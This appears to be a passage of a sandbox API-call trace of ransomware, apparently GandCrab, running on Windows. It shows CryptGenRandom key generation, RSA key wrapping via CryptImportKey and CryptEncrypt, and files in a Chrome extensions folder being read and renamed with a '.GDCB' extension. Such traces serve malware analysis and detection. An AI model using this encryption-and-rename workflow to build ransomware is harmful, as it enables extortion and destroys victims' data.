pbData=0x92f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x92f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0237.021] GetLastError () returned 0x0 [0237.021] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.021] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.036] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0237.039] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.040] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.041] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0237.041] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.041] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0237.043] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.044] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.044] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0237.044] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.045] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0237.047] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659cd78) returned 1 [0237.047] CryptGetKeyParam (in: hKey=0x659cd78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.047] CryptEncrypt (in: hKey=0x659cd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9300000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x9300000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0237.047] GetLastError () returned 0x0 [0237.047] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.047] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0237.049] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659db78) returned 1 [0237.049] CryptGetKeyParam (in: hKey=0x659db78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.049] CryptEncrypt (in: hKey=0x659db78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9310000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x9310000*, pdwDataLen=0x285d120*=0x100) returned 1 [0237.050] GetLastError () returned 0x0 [0237.050] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.050] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0237.051] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x9320000 [0237.054] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x9330000 [0237.056] ReadFile (in: hFile=0x424, lpBuffer=0x9330000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x9330000*, lpNumberOfBytesRead=0x285d160*=0xd47, lpOverlapped=0x0) returned 1 [0237.064] VirtualAlloc (lpAddress=0x0, dwSize=0xd50, flAllocationType=0x3000, flProtect=0x4) returned 0x9440000 [0237.070] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.gdcb")) returned 1 [0237.075] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0237.078] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.081] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.081] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0237.081] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.081] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0237.084] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.087] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.087] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0237.087] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.087] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0237.090] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659dbb8) returned 1 [0237.090] CryptGetKeyParam (in: hKey=0x659dbb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.090] CryptEncrypt (in: hKey=0x659dbb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9300000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x9300000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0237.091] GetLastError () returned 0x0 [0237.091] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.091] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0237.093] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659de78) returned 1 [0237.093] CryptGetKeyParam (in: hKey=0x659de78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.093] CryptEncrypt (in: hKey=0x659de78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9310000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x9310000*, pdwDataLen=0x285d120*=0x100) returned 1 [0237.093] GetLastError () returned 0x0 [0237.093] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.093] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0237.094] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x9320000 [0237.097] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x9330000 [0237.118] ReadFile (in: hFile=0x424, lpBuffer=0x9330000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x9330000*, lpNumberOfBytesRead=0x285d160*=0x9d, lpOverlapped=0x0) returned 1 [0237.125] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0x9440000 [0237.131] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.gdcb")) returned 1 [0237.157] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0237.160] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.161] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.172] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0237.172] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.172] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0237.174] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.176] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.176] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0237.176] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.176] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0237.180] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659def8) returned 1 [0237.180] CryptGetKeyParam (in: hKey=0x659def8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.180] CryptEncrypt (in: hKey=0x659def8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9300000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x9300000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0237.180] GetLastError () returned 0x0 [0237.180] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.180] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0237.182] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659dbf8) returned 1 [0237.182] CryptGetKeyParam (in: hKey=0x659dbf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.182] CryptEncrypt (in: hKey=0x659dbf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9310000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x9310000*, pdwDataLen=0x285d120*=0x100) returned 1 [0237.182] GetLastError () returned 0x0 [0237.182] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.182] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0237.184] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x9320000 [0237.186] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x9330000 [0237.188] ReadFile (in: hFile=0x424, lpBuffer=0x9330000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x9330000*, lpNumberOfBytesRead=0x285d160*=0x5c, lpOverlapped=0x0) returned 1 [0237.196] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x9440000 [0237.202] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.gdcb")) returned 1 [0237.206] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0237.209] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.211] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.211] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0237.211] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.211] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0237.213] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.215] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.215] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0237.215] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.215] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0237.218] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659dd78) returned 1 [0237.218] CryptGetKeyParam (in: hKey=0x659dd78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.218] CryptEncrypt (in: hKey=0x659dd78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9300000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x9300000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0237.218] GetLastError () returned 0x0 [0237.218] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.218] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0237.221] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659ddb8) returned 1 [0237.221] CryptGetKeyParam (in: hKey=0x659ddb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.221] CryptEncrypt (in: hKey=0x659ddb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9310000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x9310000*, pdwDataLen=0x285d120*=0x100) returned 1 [0237.221] GetLastError () returned 0x0 [0237.221] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.221] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0237.222] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x9320000 [0237.225] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x9330000 [0237.227] ReadFile (in: hFile=0x424, lpBuffer=0x9330000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x9330000*, lpNumberOfBytesRead=0x285d160*=0x5f, lpOverlapped=0x0) returned 1 [0237.235] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x9440000 [0237.241] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.js.gdcb")) returned 1 [0237.254] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0237.257] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.259] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.259] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0237.259] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.259] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0237.261] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.263] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.263] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0237.263] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.264] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0237.266] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659dfb8) returned 1 [0237.267] CryptGetKeyParam (in: hKey=0x659dfb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.267] CryptEncrypt (in: hKey=0x659dfb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9300000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x9300000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0237.267] GetLastError () returned 0x0 [0237.267] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.267] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0237.270] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659ddf8) returned 1 [0237.270] CryptGetKeyParam (in: hKey=0x659ddf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0237.270] CryptEncrypt (in: hKey=0x659ddf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9310000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x9310000*, pdwDataLen=0x285d120*=0x100) returned 1 [0237.270] GetLastError () returned 0x0 [0237.270] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.270] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0237.272] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x9320000 [0237.275] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x9330000 [0237.278] ReadFile (in: hFile=0x424, lpBuffer=0x9330000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x9330000*, lpNumberOfBytesRead=0x285d160*=0x2d6, lpOverlapped=0x0) returned 1 [0237.288] VirtualAlloc (lpAddress=0x0, dwSize=0x2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x9440000 [0237.294] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application 